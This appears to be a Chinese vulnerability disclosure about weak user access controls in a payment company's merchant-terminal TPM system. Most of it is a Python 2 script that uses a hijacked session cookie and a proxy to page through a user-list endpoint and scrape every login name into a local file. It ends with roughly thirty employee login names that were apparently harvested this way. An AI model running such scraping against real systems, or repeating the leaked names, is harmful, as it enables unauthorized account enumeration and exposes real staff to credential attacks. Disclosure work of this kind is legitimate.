某大型第三方支付机构商务终端TPM系统用户体制不严涉及大量敏感信息

1.://**.**.**/tpm/ms/login.do
 

#coding=utf-8
 import requests
 import re
 from lxml import etree
 import time
 import sys
 
 sys.getdefaultencoding()
 reload(sys)
 sys.setdefaultencoding('UTF-8')
 sys.getdefaultencoding()
 
 
 def postcode(pageId):
  url = "http://***********/tpm/ms/user/userListLookupMul.do"
  
  head = {
  'Host': '***********',
  'Proxy-Connection': 'keep-alive',
  'Content-Length': '45',
  'Accept': '*/*',
  'Origin': 'http://***********',
  'X-Requested-With': 'XMLHttpRequest',
  'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0',
  'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
  'Referer': 'http://***********/tpm/ms/index.do',
  'Accept-Encoding': 'gzip,deflate',
  'Accept-Language': 'zh-CN,zh;q=0.8',
  'Cookie': 'JSESSIONID=************************'
  }
 
 
  data= "pageNum="+pageId+"&loginName=&name=&**.**.**.**rg=&hisIusr=&numPerPage=20"
 
  proxy={'http':'**.**.**.**:8080'}
 
  key = requests.post(url,headers=head,data=data,proxies=proxy)
  #print key.headers
  calc = key.text
  #print calc
  
  selector = etree.HTML(calc)
 
  content = selector.xpath('//tr/td[@onclick="chooseTd(this)"][position()=1]/text()')
 
 
 
  fp1 = open("C:/Users/Administrator/Desktop//loginname1.txt",'a')
  for i in content:
   fp1.write(''.join(i.split())+'/n')
 
  
 
 
 
 #获取验证码
 
 fp = open("C:/Users/Administrator/Desktop//id.txt")
 
 
 #postcode('1')
 print u'处理开始'
 for i in fp:
  postcode(i[:-1])
  print 'page spider full%s'%i

tghe
 ynli
 ypwu
 xzhguo
 zhongduan2
 ybjiang
 tghe
 ypwu
 xjzhu
 rbhong
 ynli
 yhzhang
 hlliu3
 taoluo
 xiaxiao
 lijing
 geyong
 xucao1
 zztang
 dlyang
 caixq
 kyyang
 jingwang2
 mjjiang
 jilin1
 yqjiang
 VFI-QiuGX
 jlchen2
 ywang1
 wangdw
 hzdeng
 jmguo